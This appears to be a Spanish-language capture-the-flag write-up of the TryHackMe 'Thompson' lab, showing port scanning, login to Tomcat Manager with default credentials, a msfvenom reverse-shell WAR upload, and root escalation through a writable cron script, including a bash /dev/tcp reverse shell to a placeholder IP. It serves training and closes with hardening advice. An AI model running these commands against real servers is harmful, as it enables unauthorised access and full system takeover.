July 13, 2026
Writeup: Thompson en TryHackMe
https://tryhackme.com/room/bsidesgtthompson

By Demegorash
3 min read
De Credenciales por Defecto a Root Compromise
¡Hola a todos! En este writeup vamos a resolver Thompson, una máquina de dificultad fácil en la plataforma TryHackMe. Es un laboratorio ideal para repasar conceptos esenciales de enumeración web, explotación de servidores de aplicaciones (Apache Tomcat) y abuso de tareas programadas (Cron Jobs) para la escalada de privilegios.
¡Vamos a ello!
1. Información General
- Máquina: Thompson
- Plataforma: TryHackMe
- Dificultad: Fácil
- OS: Linux
2. Fase de Enumeración
Comprobación de Conectividad
Comenzamos verificando que la máquina objetivo esté activa y medimos su distancia en la red:
ping -c 1 10.67.173.233ping -c 1 10.67.173.233Nota:_ El valor del TTL (62) nos da un indicio casi certero de que nos enfrentamos a un sistema operativo basado en Linux (cuyo TTL por defecto suele ser 64)._
Escaneo de Puertos (Reconocimiento Inicial)
Realizamos un escaneo rápido y agresivo de todo el rango de puertos TCP (-p-) para identificar cuáles están abiertos, optimizando la velocidad con --min-rate=3500:
sudo nmap -p- --open -sS --min-rate=3500 -n -Pn 10.67.173.233 -oG allPortssudo nmap -p- --open -sS --min-rate=3500 -n -Pn 10.67.173.233 -oG allPortsPuertos detectados:
22/tcp– SSH8009/tcp– AJP (Apache JServ Protocol)8080/tcp– HTTP (Apache Tomcat)
Escaneo Dirigido de Servicios
Con los puertos objetivo en la mira, lanzamos un escaneo de scripts predeterminados (-sC) y detección de versiones (-sV):
nmap -sCV -p22,8009,8080 10.67.173.233 -Pn -oN targetednmap -sCV -p22,8009,8080 10.67.173.233 -Pn -oN targetedResultado clave: El puerto 8080 está corriendo un servicio Apache Tomcat versión 8.5.x.
3. Enumeración Web y Acceso al Panel
Analizamos las tecnologías del servidor web utilizando whatweb:
whatweb http://10.67.173.233:8080whatweb http://10.67.173.233:8080Confirmamos que se trata de Apache Tomcat/8.5.5. Al explorar la raíz, nos dirigimos a la ruta del panel de administración: [http://10.67.173.233:8080/manager/html](http://10.67.173.233:8080/manager/html.).
Descubrimiento de Credenciales
Al intentar ingresar al panel, el servidor nos devuelve un código de estado 401 Unauthorized. Sin embargo, la propia página de error por defecto de Tomcat expone un ejemplo de configuración del archivo tomcat-users.xml.
Probamos las credenciales típicas que vienen sugeridas en dicha plantilla:
- Usuario:
tomcat - Contraseña:
s3cret
¡Éxito! Logramos acceso al Tomcat Web Application Manager.
4. Explotación (Remote Code Execution)
Generación del Payload
Dado que Tomcat permite el despliegue de aplicaciones empaquetadas en archivos .war, podemos aprovechar esta funcionalidad para subir una Reverse Shell. Generamos nuestro payload malicioso con msfvenom:
msfvenom -p java/shell_reverse_tcp LHOST="<TU_IP_VPN>" LPORT=1234 -f war -o shell.warmsfvenom -p java/shell_reverse_tcp LHOST="<TU_IP_VPN>" LPORT=1234 -f war -o shell.warIntrusión y Tratamiento de la Shell
- Ponemos nuestro netcat a la escucha en la máquina atacante:
nc -lvnp 1234- Desde el panel web de Tomcat, subimos y desplegamos el archivo
shell.war - Ejecutamos la aplicación haciendo clic sobre ella en el panel o navegando a http://10.67.173.233:8080/shell/
Recibimos la conexión entrante de manera exitosa:
$ id
uid=1001(tomcat) gid=1001(tomcat) groups=1001(tomcat)$ id
uid=1001(tomcat) gid=1001(tomcat) groups=1001(tomcat)Tip Pro: Para trabajar cómodamente, estabilizamos la shell utilizando comandos clásicos de Python o
scriptpara obtener una TTY interactiva.
Navegamos al directorio del usuario y capturamos nuestra primera flag:
- User Flag (
/home/jack/user.txt):39400c90bxxxxxxxxxxxxxxxxxxxxxxxxxx
5. Escalada de Privilegios
Enumeración del Sistema
Buscando vectores para elevar privilegios, revisamos las tareas programadas del sistema del archivo /etc/crontab:
cat /etc/crontabcat /etc/crontabEncontramos una línea sumamente interesante ejecutándose cada minuto como root:
Plaintext
* * * * * root cd /home/jack && bash id.sh* * * * * root cd /home/jack && bash id.shAl revisar los permisos del script /home/jack/id.sh, descubrimos una vulnerabilidad de configuración crítica: el usuario tomcat tiene permisos de escritura sobre este archivo.
Explotación del Cron Job (Opción A: Lectura de Flag)
Podemos inyectar una instrucción para copiar la flag de root a un directorio accesible:
echo "cp /root/root.txt /home/jack/root.txt" > id.shecho "cp /root/root.txt /home/jack/root.txt" > id.shTras esperar un minuto a que el cronjob se ejecute, leemos la flag:
cat /home/jack/root.txtcat /home/jack/root.txt- Root Flag:
d89d5391984xxxxxxxxxxxxxxxxxxxxxxx
Explotación del Cron Job (Opción B: Consola Completa de Root)
Si queremos comprometer el sistema por completo y obtener una shell interactiva como root, modificamos el script para que nos envíe otra reverse shell:
echo "bash -i >& /dev/tcp/<TU_IP_VPN>/4444 0>&1" > id.shecho "bash -i >& /dev/tcp/<TU_IP_VPN>/4444 0>&1" > id.shPreparamos nuestro listener:
nc -lvnp 4444nc -lvnp 4444Una vez cumplido el minuto, el sistema nos devuelve la sesión:
whoami
rootwhoami
root6. Conclusión y Remediación
Esta máquina demuestra perfectamente cómo el impacto de pequeñas malas configuraciones escalan hasta comprometer todo el servidor:
- Credenciales por defecto/débiles: Permitieron el acceso administrativo inicial al Tomcat Manager.
- Funcionalidades peligrosas expuestas: El despliegue de archivos
.warfacilitó la Ejecución Remota de Código (RCE). - Permisos laxos en scripts del sistema: Un archivo editable por usuarios de bajos privilegios ejecutado por
rootconcedió el control total del servidor.
Hardening sugerido: Cambiar credenciales por defecto inmediatamente, restringir el acceso al panel Manager por IP y aplicar el principio de menor privilegio en las tareas de Cron.
¿Te gustó este writeup? ¡No olvides darle unos aplausos 👏 y seguirme para más contenido de Hacking Ético y Pentesting!